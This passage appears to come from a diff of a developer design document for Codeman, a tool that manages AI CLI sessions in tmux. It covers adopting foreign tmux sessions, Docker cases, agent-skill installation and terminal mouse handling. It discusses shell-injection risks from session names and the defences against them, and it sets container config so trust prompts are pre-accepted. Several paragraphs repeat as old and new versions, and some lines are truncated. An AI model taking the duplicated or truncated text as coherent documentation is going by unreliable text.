**The wrapper.** Adoption creates an ordinary `codeman-<8hex>` session on Codeman's own socket whose pane runs the attach, so `killSession` can only ever reach the wrapper and no shape of caller bug reaches the foreign server. The attach joins as a grouped `codeman-view-<id>` session with `status off` and `destroy-unattached on`. ⚠️ `new-session -t` does not fail on a missing target, it invents one (measured on tmux 3.4: joined `work-prod`, or made a fresh shell, or started a server on an empty socket), so an exact `has-session -t '=<name>'` guards it. The `=` cannot stand in for that guard on `new-session -t`, where a missing target makes a group literally called `=<name>`. ⚠️ The guard only holds for a name both commands read as a name, so a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`: a leading `=`, `@` or `%`, or a bare `~`) is refused at discovery: measured on tmux 3.4, `@1` joined the session holding window `@1` and input typed in the tab reached it, and `=eq` made a new group with a fresh shell. A `command -v tmux` runs first, because the guard fires on any failure and "tmux is not on this PATH" must not read as "your session is gone". The client is `tmux -u`, or a POSIX-locale container garbles the tab, and the probe's `list-panes` is too, or a name reads as underscores the guard then cannot find. A `docker exec` outlives its client, so that view is killed explicitly on close. ⚠️ Nothing is ever set on the foreign server beyond our own view: not `window-size` (a window option on a shared window, it survives our detach) and not the prefix table (server-wide, unlike `nestedPrefixTableResetCommands` on the servers Codeman runs itself). ⚠️ While the view exists an owner's `kill-session` leaves the window alive under it until the tab closes. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start: `startShell()`'s new-session `clear\n` submitted whatever the owner had half-typed (measured) until it was gated on `!this._adopt`, and the trust-dialog auto-accept stays off for the same reason. `shell` is also the classifier's answer for anything it cannot name, such as vim or psql.
**Names are the injection surface.** A session name is chosen by someone else and several shells parse the attach line on its way to tmux; in `bash -c "<JSON>"`, the form it first crossed, `$` and backticks were live. Names and socket paths pass an allowlist at DISCOVERY, so a bad one gets no id and the adopt route, which re-resolves through discovery, can only 404. The ssh probe and attach run in an explicit `sh` behind `withRemoteTmuxPath()`, since the guard chain is POSIX and the login shell may be fish. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, the path a remote or docker launch takes (#760), never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on THIS host and a tmux in the remote `~/.local/bin` is found by discovery and missed by the attach. Single quotes also keep a real newline, which JSON escaping left as the two characters `\n`. That closes the first shell only, so the discovery allowlist stays. `test/tmux-manager.test.ts` compares what bash receives with the built line at create and at respawn, for all three locations. Docker discovery spawns `dockerEngineArgv()`, never the shell-quoted `buildDockerBaseArgs()`.
**A server that stops answering.** A tmux client never returns from a stopped server, and it hands dups of its stdout to the server, so that server holds our pipe open after the client is dead (measured: SIGTERM ended the client and no EOF came). ⚠️ So a watchdog around `list-panes` cannot work, and the same hold would keep `docker exec` and `ssh` waiting. `buildForeignProbeScript()` pings each socket with `has-session` at `/dev/null` under `FOREIGN_SOCKET_TIMEOUT_SECONDS`, in the script because no signal of ours reaches a client inside a container or across ssh, and only a server that answered gets the real stdout. One that did not prints `CMFH` and costs its own rows and a note. The watchdog reports through its own exit status, since a client ended by SIGTERM exits 0. `runForeignProbe()` runs all three transports in their own process group, signals the group at the deadline, destroys its end of the pipe by hand (or one handle leaks per scan) and keeps the rows it read. ⚠️ Sockets have no count cap: in glob order `codeman*` sorts before `default`, and a box with many instances would never reach the sessions this feature is for (212 sockets measured here). The sweep is bounded by time.
**Text from someone else's process.** The parser and the classifier run synchronously on the event loop over what a pane, a container or an ssh host printed, and the row caps do not help when one row is the whole 2 MiB. ⚠️ So every step stays linear in that text: no regex tail over an argv (`launcherPrefixes()` is a scan), `.*` under the `s` flag so `$` cannot fail and hand `\s+` its spaces back, a `Set` for the socket rows, `FOREIGN_MAX_ARGV_CHARS` on what is kept, and one `createForeignSignatureMatcher()` per scan, since every pane of a hostile host can claim the same process tree and repeat the same rows.
**One wrapper per target.** `foreignTargetKey()` is the ONE key, read by the adopt route and `adoptedBy`, built from the location, the host identity, the socket and the name: a socket and a name alone collide across containers and hosts. Both read live `Session`s, since the mux record only exists after the first attach.
**No workspace.** ⚠️ An adopted session keeps its connection on `adopt.remote`/`adopt.docker`, so `session.remote` and `session.docker` are undefined, and its `workingDir` is the neutral `/tmp`. Code that branches on those two reads an in-container or over-ssh adoption as a local session working in `/tmp`. So anything that treats `workingDir` as the session's workspace must also test `session.isAdopted` (`adopt` on a pure view): uploads, the upload GC, git status, git fetch and its scheduler, the image watcher, Read My Mind's git signals, the Discord folder, `last-response`, guarded input and Ralph's `@fix_plan.md` and `@ralph_prompt.md` routes all do. The file surfaces (Files panel, File Viewer and its edit mode, `html-view`, absolute-path links) are the one standing exception (owner decision 2026-11-06): they still treat `/tmp` and this host's paths as the workspace, even on a container or ssh tab, so such a tab shows this host's files and not the far end's. It gives no privilege: `/tmp` is world-writable anyway, and adoption is admin-only in multi-user mode. Gating them for remote and Docker adoptions, while keeping a local adopted tab's absolute-path links, is the planned follow-up. A claude wrapper reports `statusLineExporter: 'remote'`, which is also what keeps keep-warm off it.
**Lifecycle.** `paneExitApplies` is false for a wrapper, so an attach that ended is never `paneExit` and the sweep never closes the tab. ⚠️ `remain-on-exit` still keeps Codeman's own tmux client on the dead pane, where a pid and `busy` hid it and both attach routes refused it, so `detachEndedAdoptedAttaches()` detaches that client on the reconnect watcher's tick: the tab closes nothing, its pid goes null, and selecting it (or "Go to tab" once a session of that name is back) runs the guard again. Boot recovery re-attaches a dead wrapper, which prints that the session is gone and exits. Reboot restore refuses one, since all Codeman ever had was an attach command. ⚠️ A wrapper that cannot start fails the start, and selecting the tab tries it again (`_failAdoptedStart()`). It never takes the direct-PTY fallback, which would run a new local `claude --dangerously-skip-permissions` or a server-account shell in `/tmp` under the foreign session's name, and `runPrompt()` refuses it for the same reason.
### Docker cases
**Docker cases** (shipped 1.4.0; user guide `docs/docker-cases.md`, design `docs/docker-cases-plan.md`): a case can point at a **container** instead of a local/remote path, and any of the CLI run modes runs INSIDE it. Like remote-SSH, it is a **LOCATION OVERLAY on cases, never a `SessionMode` of its own** (`SessionMode` is unchanged). Storage `~/.codeman/docker-hosts.json` + `docker-cases.json` via `src/docker-hosts.ts` (direct mirror of `remote-hosts.ts`: `readDockerHosts`/`readDockerCases`, `toSessionDocker`, `dockerDisplayPath`, and the PURE builders `buildDockerBaseArgs`/`buildDockerCreateArgs`/`containerApiUrl`/`hostGatewayAlias`/`dockerConfigHash`). CRUD `/api/docker-hosts` + `/api/cases/docker-link`, plus **one-click** `/api/cases/docker-quickcreate` (Create New "Run in Docker" checkbox → case folder in `CASES_DIR` + auto-provisioned shared `default` host + auto-start a session inside; an expandable Template picker Small/Medium/Large/GPU or any override creates a per-case `q-<name>` host), and export/import (`/api/docker-cases/:name/export`, `/api/docker-cases/import`, `GET/DELETE /api/docker-exports`) — all in `case-routes.ts`. Run flows route through `POST /api/quick-start` like remote (session-routes.ts docker branch, skips LOCAL CLI-availability gates). **Launch model**: exactly one long-lived container **per case** (`codeman-case-<slug>`, PID1 `sleep infinity` under `--init`); a LOCAL tmux pane runs `docker exec -it` into a **durable in-container tmux** on dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>` (deliberately fails `SAFE_MUX_NAME_PATTERN` so a Codeman running INSIDE the container never adopts it, exactly like remote's `codeman-ssh-<id8>`). Builders `buildDockerLaunchCommand`/`buildDockerKillCommand` in `tmux-manager.ts` (image-check → `docker inspect||create` → start → exec, all idempotent). The container is **shared by all sessions of the case**: `buildDockerKillCommand` kills ONLY that session's in-container tmux session, NEVER `docker stop` while siblings remain; `docker rm -f` happens only on case-delete (plus an instance-scoped boot reaper keyed on the `codeman.instance` label). **Two-layer durability/resume** (the central design point): (1) Codeman-PROCESS restart with the container still up → `tmux new-session -A` reattaches the SAME live agent (paneCommand ignored); (2) container stop/reboot/OOM → inner tmux is gone, so the re-run pane command resumes the conversation from the bind-mounted transcript: claude mode pins a DETERMINISTIC conversation id via `claudeDockerPaneCommand()` (`tmux-manager.ts`) — fresh launch `claude --session-id <sessionId> || claude --resume <sessionId>` (a duplicate `--session-id` exits 1 "already in use", so the fallback RESUMES after a container stop; verified CLI behavior), explicit resume `--resume <rid> || --session-id <sid>` so a stale id never dead-panes (leading `exec ` is stripped — an exec'd first branch could never fall back); codex `resume <id>` / gemini `--resume` keep `appendResumeFlag`. The resume id rides `resumeSessionId` through create/respawn options and persists on `DockerCase.lastClaudeSessionId` via `persistDockerCaseClaudeSessionId()` (written at quick-start launch, and again on hook/last-response conversation-id adoption so post-`/clear` switches track; seeded back when `resumeOnStart`, default true); `-A` makes the pane command self-selecting (inert on reattach, active only when tmux was re-created). **Config drift** (`dockerConfigHash` → `codeman.confighash` label): quick-start compares via `checkDockerConfigDrift()` and REFUSES a drifted launch with `CONFLICT`; the UI confirm calls `POST /api/docker-cases/:name/recreate` (refused while case sessions are live) which `docker rm -f`s so the next launch recreates with the new config — host config edits actually take effect. **Workspace** is a REAL host dir bind-mounted at the SAME absolute path (mirror, `dst==src`), so `Session.workingDir = hostWorkspacePath` keeps file-routes/attachments/watchers on real host bytes AND the in-container transcript projHash matches the host so subagent/workflow correlation (and thus resume-id capture) works; `resolveMuxAttachCwd` returns `/tmp` for docker (the local pane only runs `docker exec`). **Creds** arrive commit-safe and ISOLATED (1.4.1; replaced the whole-dir RW mounts that let in-container CLIs write refreshed tokens/state back to the host): shared RW across the boundary is ONLY what host-side reads/resume need (`~/.claude/projects` transcripts; codex `sessions/` + `history.jsonl` for response-viewer/`codex resume`); everything else is SEEDED (RO mount, copied into container HOME once at launch via `[ -e ] || cp`; the container refreshes its own copy and never writes back): `~/.claude.json` is merged through `buildSeamlessClaudeConfig()` (forces `hasCompletedOnboarding` + theme + workspace trust, so no login wizard/theme picker/trust prompt inside the container), plus `.claude/{.credentials.json,setLine truncated
@@ -149,7 +167,7 @@ Spawn commands are pinned as literal strings in `test/cli-registry-spawn-golden.
Further detail: `stop`/`blocked` now fire for **`claude` and `deepseek`** (`shell` installs no hooks either); asking for one explicitly on any other mode is a 400 and the default set silently drops them. `deepseek` qualifies because the DeepSeek Harness TUI REPORTS idle/working/blocked to its supervisor and Codeman is that supervisor (`deepseek-status-shim.ts`), so its signals are definitive rather than inferred, and `hooksAvailableForMode()` in `session-wait-registry.ts` is the one place that rule lives (see the External CLI modes section for the per-session `statusReporting` wrinkle and the two dsh traps baked into the skill preamble: boot `idle` landing ~300 ms before the composer paints, and `sendwait` asking for `wait:"stop,exit"`). That is also why `deepseek` is the one non-claude mode the skill drives like claude: `spawn_workers alpha beta:deepseek` is a mixed fleet in one call, and `sendwait`/`last_text` need no variant. ⚠️ **`blocked` alone has a second source**: a CLI with no hook for it can declare the dialogs it blocks on (`capabilities.workDetect.blockedLine`, codex), and `blockedSignalAvailable()` (hooks OR that field) is the rule for that one signal; `stop` stays hooks-only, since nothing on a screen says a turn ended. A screen-read `blocked` is a LEVEL the server keeps reading (`Session.screenBlocked`), so the wait route answers it immediately (`currentSignalForWait()`) when the caller asked for `blocked`, and only then: such a pane is also `idle`, and `until=idle` must keep answering `idle`. See [Screen-read blocked dialogs](#screen-read-blocked-dialogs-codex).
**Packaging as the `skills/codeman` agent skill.** The primitives are packaged as the `skills/codeman` agent skill, installable three ways: via `codeman skill install [--case <name>]` / `skill uninstall`; as a Claude Code plugin from the repo's own marketplace (`/plugin marketplace add Ark0N/Codeman` + `/plugin install codeman@codeman`, see the root-files note in CLAUDE.md); or auto-injected into a case on session create behind `agentSkillEnabled` (SYNCED, default OFF). ⚠️ WHERE it lands is registry data, `capabilities.agentSkillDir` (absent with `agentSkillInjection: true` = `.claude/skills`): `.claude/skills/codeman` for claude, `.agents/skills/codeman` for every other CLI that takes it (pi does not: a project skill triggers its trust prompt). `agentSkillDir` is a CLOSED enum (`AGENT_SKILL_DIRS`, schema.ts) because `clis.json` can set it and it decides where the server writes. The per-session preamble is seeded for every local session whose CLI takes the skill, and `codeman skill uninstall --case` removes the copy from every distinct registry directory (`registryAgentSkillDirs()`, cli.ts). ⚠️ Plugin skills are namespaced, so a Claude Code holding BOTH the plugin and a user-level or per-case copy lists the skill twice, `codeman` and `codeman:codeman` (measured 2026-09-14: neither shadows the other, both work); the docs tell users to pick one route.
**Packaging as the `skills/codeman` agent skill.** The primitives are packaged as the `skills/codeman` agent skill, installable three ways: via `codeman skill install [--case <name>]` / `skill uninstall`; as a Claude Code plugin from the repo's own marketplace (`/plugin marketplace add Ark0N/Codeman` + `/plugin install codeman@codeman`, see the root-files note in CLAUDE.md); or auto-injected into a case on session create behind `agentSkillEnabled` (SYNCED, default ON since 1.50.0, default OFF before). ⚠️ An ABSENT key means on in BOTH readers, the server's `getAgentSkillEnabled()` and the App Settings switch (both `!== false`): a page that showed an absent key as off would write `false` on the next Save of any other setting. Only an explicit false is off. Existing installs that stored off are switched on once at the first 1.50.0 start; turning it off afterwards sticks. Every App Settings Save up to 1.49.0 wrote `false` (the switch loaded an absent key as off and Save sends the whole form), so without that the default would never reach anyone who had ever saved. ⚠️ The migration (`migrateAgentSkillDefault()`, `web/agent-skill-default-migration.ts`) runs from `WebServer.start()` before the first settings read (and the 2 s `readSettings()` cache, which it drops after a write) and before listen, never in test mode, and writes only through `mutateSettingsFile()`; a `settings.json` that does not parse is left alone with one log line and no marker, so the next start after the fix tries again (and switches on an off saved between the fix and that start, since the migration has not run yet). It cannot tell a deliberate off from the old default (accepted, a "Behaviour change" in the release notes). ⚠️ It stores `true` rather than deleting the key: `loadAppSettingsFromServer()` overwrites only the synced keys the server HAS, so every device that saved on 1.49 would keep its own `false`, show the switch off and write `false` back on its next Save (`true` also wins in a browser still running a cached settings-ui.js); for a server with no key the page drops the device's copy too. ⚠️ Its "done" marker is its own file, `agent-skill-default-migrated.json` in the data dir via `dataPath()`, checked before anything is read and written only after the settings write landed (a crash between the two is harmless: the next start finds `true`). Never a settings key: `GET /api/settings` never returns it, so no Save can send it back (the `.strict()` `SettingsUpdateSchema` would 400) or drop it (which would re-arm the migration and switch a later off back on), and it is outside `CONFIG_BACKUP_FILES`, so once the migration has run, a restored settings.json, even a pre-1.50 one holding `false`, stays as restored. One data dir is one server, so in multi-user mode it runs once for the server. A device whose pages were all loaded before the upgrade still holds the old `false` in its localStorage blob until a page load refreshes it, and an App Settings Save from such a page writes that back (accepted; the release note says to reload). Tests: `test/agent-skill-default-migration.test.ts`, `test/agent-skill-setting-ui.test.ts`. Turning it off sweeps nothing. ⚠️ Every managed copy ignores itself in git, which is what makes the default safe in a user's repository: `installAgentSkillInto()` writes `<copy>/.gitignore` holding `*` FIRST (so a `git status` mid-install never lists it), with `wx` (a file already there is the user's and is never overwritten; a symlink at the name is refused), and outside the content list `readAgentSkillSource()` compares, so it never appears in `skills/codeman/` or the plugin mirror. A copy injected before 1.50.0 gains it on its next install (`refreshed`). `removeAgentSkillFrom()` deletes it only when it is the last entry left and holds exactly `*`, so a user's extra files there stay ignored. The repository's own `.gitignore` and `info/exclude` are never touched for it (the managed-worktree exclude in git-worktrees.ts is a separate, older line and still added). Measured against Claude Code 2.1.319: its skill discovery runs `git check-ignore` only on directories at or above `.claude/skills` (the nested-skills walk), never on a skill folder or its SKILL.md, and a `*` inside `codeman/` ignores the folder's contents, not the folder, so the skill still loads; codex 0.162 has no gitignore check on skills. Checked live on 2026-11-08 with the ignore file in place: Claude Code 2.1.319 (`--debug` reports `project: 1`), Codex 0.162 (app-server `skills/list`), OpenCode 1.3.0 (`opencode debug skill`) and Grok 1.0.52 (`grok --trust inspect`) all list `codeman`; agy, dsh, gemini and omp were not measured. ⚠️ Install and uninstall refuse (`symlink`) a link at the copy, at its `skills/` parent, and at a folder INSIDE the copy (`reference/`, `agentSkillSubdirIsSymlink()`): a cloned repository can commit one and a Docker case's container can plant one in the bind-mounted workspace, and a write or unlink of `referenLine truncated
Injection is ADD-ONLY at create, marker-owned (`applyAgentSkill` in `hooks-config.ts` never touches an unmarked user copy) and refuses symlinks (this repo's own `.claude/skills/codeman` is a symlink to the source, which the injector must never write through). ⚠️ Claude Code loads a same-named USER-LEVEL skill (`~/.claude/skills/codeman`, written once by `codeman skill install` with no `--case`) over the per-case copy, and nothing used to refresh it: a stale Aug-9 user copy shadowed every fresh injection (2026-08-14: agents ran the old recipes, spawned workers serially and lost their lineage arcs), so session create now also refreshes a marker-owned user copy (`refreshUserAgentSkill`; refresh-only, never installs, foreign/symlink refused).
@@ -211,7 +229,7 @@ History: before the tree, every pair got a U-bridge bezier hanging below the str
**Title and composition.** `deriveAutoSessionName()` strips CSI/control bytes, refuses slash commands by the `/^\/[a-z][a-z0-9_:-]*(\s|$)/i` shape (a path has a second slash where the whitespace should be, so `/home/me/notes.txt what is this` is a prompt) and `!` shell escapes, cuts at the first sentence terminator only past 8 code points ("e.g. fix this now" is not "e.g."), drops a trailing full stop, and caps at 72 code points on a word boundary. `composeAutoSessionName()` prepends the placeholder (`w3-myapp: fix the login redirect`) and fits the result into `MAX_SESSION_NAME_LENGTH` in UTF-16 units, the unit the rename route caps in.
**Opt-in, and the listener orders its checks for cost.** The prompt lands in the tab name, `mux-sessions.json`, every `session:updated` broadcast, the TUI, both home screens and `/api/search` (which matches on `sessionName`), while Read My Mind deliberately keeps prompts 0600 and out of search because prompts can carry secrets; so `autoNameSessions` is synced and default OFF, like `agentSkillEnabled`, `approvalsInboxEnabled` and `readMyMindEnabled`. The listener checks `nameSource` and derives the title BEFORE reading `settings.json`, so an already-named session costs nothing per prompt.
**Opt-in, and the listener orders its checks for cost.** The prompt lands in the tab name, `mux-sessions.json`, every `session:updated` broadcast, the TUI, both home screens and `/api/search` (which matches on `sessionName`), while Read My Mind deliberately keeps prompts 0600 and out of search because prompts can carry secrets; so `autoNameSessions` is synced and default OFF, like `approvalsInboxEnabled` and `readMyMindEnabled`. The listener checks `nameSource` and derives the title BEFORE reading `settings.json`, so an already-named session costs nothing per prompt.
**`nameSource` also decides what claude is told to call the conversation.** `--name` is the prompt-box label, the `/resume` picker entry and the terminal title at once, and a pinned title stops Claude generating its own, so by default only a `manual` name is passed (`Session.cliPinnedName`); pinning the `w1-myapp` placeholder gave every conversation of a case the same `/resume` entry, because `_nextCaseSessionStartNumber()` numbers from the highest OPEN tab and restarts once a case's tabs are closed. The opt-in synced `pinCliSessionName` (default OFF) pins every non-blank tab name for users who want the CLI labels to match their tabs; it is read fresh at every claude create and respawn (`readPinCliSessionNameEnabled()`, hooks-config.ts, like `readPlanUsageTelemetryEnabled()`), so a toggle applies from the next spawn with no restart. ⚠️ Its cost: Claude stops generating its own titles for those sessions, and a rename holds only until the next turn, because a pane spawned with `--name` re-appends its in-memory title after every turn (`claude-session-title.ts`); a server restart re-attaches the live pane without respawning it. A rename through `PUT /api/sessions/:id/name` is carried into `/resume` by appending the `custom-title` row `/rename` writes (`claude-session-title.ts`), for local transcripts only: a remote pane's lives on the remote host and a docker pane's inside the container. The route returns early on an unchanged name, because the Session Options field saves on blur and recomposes the same placeholder, which would otherwise flip it to `manual` and re-pin it.
@@ -231,21 +249,23 @@ Further detail: the `<prefix>: <title>` form (`w3-myapp: fix the login redirect`
### Terminal scrollback: strip flavors and wheel/touch forwarding
**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode and copilot) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode, copilot and pi) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
⚠️ **What a mouse-DECSET strip (full or mouse) removes, it must REMEMBER.** Stripping the mouse DECSETs means xterm's `modes.mouseTrackingMode` is permanently `'none'` for those modes, so the browser hand-encodes click reports to compensate (`_sendSyntheticSgrTap`). With no state to consult it did that on EVERY click, which delivered mouse reports to programs that never asked for them: the same pane runs a plain shell whenever the CLI has exited or a `shell` was started inside a claude-mode session, and a shell prints the report as literal text (`[<0;88;20M`), garbling the next line typed. `_recordStrippedMouseMode()` therefore records each stripped sequence as it goes and publishes `cliMouseTracking` through `toState()`, and `_shouldReportMouseToCli()` requires it. ⚠️ Only the TRACKING modes count (1000/1001/1002/1003): 1005/1006 select an ENCODING and 1007 is alt-scroll, and counting those would put the stray reports straight back. ⚠️ The change broadcasts IMMEDIATELY rather than through `broadcastSessionStateDebounced`, because the flag flips when a dialog opens and the user can click that dialog inside the 500ms debounce window. Measured on a live claude 2.x: the CLI holds a tracking mode on continuously in fullscreen (so clicks keep being reported exactly as before; the default inline renderer holds none, measured on 2.1.283 even with `/model` open), while a bash prompt in the same stripped mode reports nothing. Fails toward silence: after a server restart the flag is false until the CLI re-emits, which tmux does at client attach.
**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex or tracked Copilot** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex, tracked Copilot or tracked Pi** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
**Copilot also receives forwarded reports** (1.0.95 measured in tmux: alt screen, `mouse_any_flag=1`): its mouse DECSETs are stripped so a drag selects, which also stops xterm encoding the wheel for it, so `_shouldForwardWheelToApp` sends the same SGR reports by hand while `cliMouseTracking` is true; six `\x1b[<64;…M` reports moved its transcript 18 lines, a phone swipe takes the same gate, and there is NO version gate.
**Pi is the same shape, and the reason it moved to the mouse strip** (fullscreen is the default `tuiMode` since 1.0.0; 1.0.0, 1.1.0, 1.4.0 and 1.5.0 measured in tmux with default settings: `alternate_on=1`, `history_size=0`, `mouse_any_flag=1`, SGR): pi enables mouse tracking ONCE at start. Left on the narrow strip, the wheel worked only until Codeman replayed the buffer (tab switch, reload): the replay carries no DECSETs, xterm's `mouseTrackingMode` fell to `'none'` with `baseY` 0, and the wheel hit an empty local buffer until a resize made pi redraw. Measured on a fresh session: `drag` right after the first select, `none` after a tab switch and after a reload. With the mouse strip the server records the tracking (`cliMouseTracking`), which survives the replay; `_shouldForwardWheelToApp` forwards by hand while it is true. One SGR wheel report moves pi's transcript one row at a low rate, and pi's `fullscreenWheelScrollLines` default accelerates a fast spin. Under `tuiMode: regular`, the default below 1.0.0, pi is inline and emits no mouse DECSET, so the strip finds nothing and the flag stays false; a pi from 0.84.0 set to fullscreen does emit them (0.84.1 and 0.99.2 with `--tui-mode fullscreen` measured: `alternate_on=1`, `mouse_any_flag=1`, `mouse_sgr_flag=1`; default settings all 0), and the flag covers that case. ⚠️ Pi deliberately has no `transcriptPageKeys`: fullscreen pi does page on PageUp/PageDown, but pi binds those keys to its editor in regular mode too, where they page nothing and move the caret of a multi-line draft, so the hollow-buffer fallback sent the next keystroke to the wrong line (measured on 1.1.0, 1.4.0 and 1.5.0). 